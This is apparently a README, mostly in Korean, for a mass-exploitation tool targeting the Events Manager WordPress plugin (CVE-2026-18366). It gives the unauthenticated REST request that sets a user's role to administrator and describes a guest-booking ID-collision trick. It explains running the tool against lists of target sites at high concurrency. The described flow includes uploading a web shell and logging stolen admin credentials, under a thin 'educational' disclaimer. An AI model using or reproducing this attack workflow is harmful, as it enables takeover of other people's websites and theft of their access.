
Events Manager < 7.4.1 - 인증되지 않은 관리자 권한 상승
Events Manager < 7.4.1 - 인증되지 않은 관리자 권한 상승
취약점은 classes/em-archetypes.php의 EM\Archetypes::map_meta_cap에 존재합니다. 플러그인은 다음과 같은 방식으로 권한 매핑 범위를 부적절하게 지정합니다:
event 또는 location CPT인 경우 $caps = []를 비워버림edit_user, delete_user, promote_user에 대한 권한을 다시 채우지 않음has_cap()이 user 0(게스트)을 포함해 true를 반환POST|PUT|PATCH /wp-json/wp/v2/users/{id}
POST /index.php?rest_route=/wp/v2/users/{id}
Body: {"password":"...","roles":["administrator"]}
조건: {id}는 event 또는 location CPT의 wp_posts.ID와 일치해야 합니다.
⚠️ 인증되지 않은 REST는 nonce가 필요하지 않습니다(로그인 쿠키 없음).
게스트 예약(기본값 dbem_bookings_anonymous=1)은 실제 WP 사용자를 생성하므로 ID 충돌을 강제할 수 있습니다. 예약 nonce는 이벤트 양식에서 공개적으로 확인할 수 있습니다.
pip install aiohttp
python CVE-2026-18366.py
스크립트가 다음 항목을 입력받습니다:
list.txt)python CVE-2026-18366.py -l targets.txt -s 20 --timeout 30
| 옵션 | 설명 |
|---|---|
-l, --list | 대상 URL이 포함된 파일 경로 |
-s, --speed | 동시 작업 수 (1-200) |
--timeout | 요청 제한 시간(초) (기본값: 20) |
한 줄에 대상 하나씩 list.txt 파일을 생성하세요:
https://target1.com
https://target2.com/wordpress
http://target3.com
target4.com
[+] [HH:MM:SS] target.com ADMIN username:password uid=X path
[+] [HH:MM:SS] target.com SHELL https://target.com/wp-content/plugins/...
성공적으로 공격된 대상은 adminS.txt에 저장됩니다:
https://target.com | username:Nx_admin_@!KSA | uid=X | path=id-collision | ADMIN | shell_url
┌─────────────────────────────────────────────────────────────────┐
│ CVE-2026-18366 Flow │
├─────────────────────────────────────────────────────────────────┤
│ │
│ ┌──────────┐ ┌─────────────┐ ┌──────────────────────┐ │
│ │ Detect │ → │ Collect IDs │ → │ PATH A: ID Brute │ │
│ │ Plugin │ │ (CPT/HTML) │ │ REST /users/{id} │ │
│ └──────────┘ └─────────────┘ └──────────┬───────────┘ │
│ │ │
│ ┌──────▼──────┐ │
│ │ Success? │ │
│ └──────┬──────┘ │
│ No │ │ Yes │
│ ┌──────────▼──────▼──────────┐ │
│ │ │ │
│ ┌──────────────────────┐ │ ┌─────────────────┐ │ │
│ │ PATH B: Guest Book │ ←───┘ │ Login + Verify │ │ │
│ │ Create user until │ │ Admin Access │ │ │
│ │ user_id == post_id │ └────────┬────────┘ │ │
│ └──────────────────────┘ │ │ │
│ ┌────────▼────────┐ │ │
│ │ Upload Shell │ │ │
│ │ (Plugin/Theme) │ │ │
│ └────────┬────────┘ │ │
│ │ │ │
│ ┌────────▼────────┐ │ │
│ │ Save Results │ │ │
│ │ adminS.txt │ │ │
│ └─────────────────┘ │ │
│ │ │
└────────────────────────────────────────────────────────────────┘
├── CVE-2026-18366.py # Main exploit script
├── list.txt # Target URLs (create this)
├── adminS.txt # Successful results (auto-created)
└── README.md # This documentation
╔══════════════════════════════════════════════════════════════════╗
║ LEGAL DISCLAIMER ║
╠══════════════════════════════════════════════════════════════════╣
║ ║
║ This tool is provided for EDUCATIONAL and AUTHORIZED ║
║ SECURITY TESTING purposes only. ║
║ ║
║ • Only use on systems you own or have explicit permission ║
║ • Unauthorized access to computer systems is ILLEGAL ║
║ • The author is NOT responsible for any misuse or damage ║
║ • By using this tool, you agree to these terms ║
║ ║
║ Use responsibly. Stay ethical. Respect the law. ║
║ ║
╚══════════════════════════════════════════════════════════════════╝
WordPress 관리자라면 다음을 수행하세요:
| 항목 | 세부 정보 |
|---|
| CVE ID | CVE-2026-18366 |
| 심각도 | 🔴 치명적 (CVSS 9.8) |
| 플러그인 | Events Manager for WordPress |
| 영향받는 버전 | < 7.4.1 |
| 취약점 유형 | 인증되지 않은 권한 상승 |
| 공격 벡터 | 네트워크 |
| 인증 필요 | 없음 |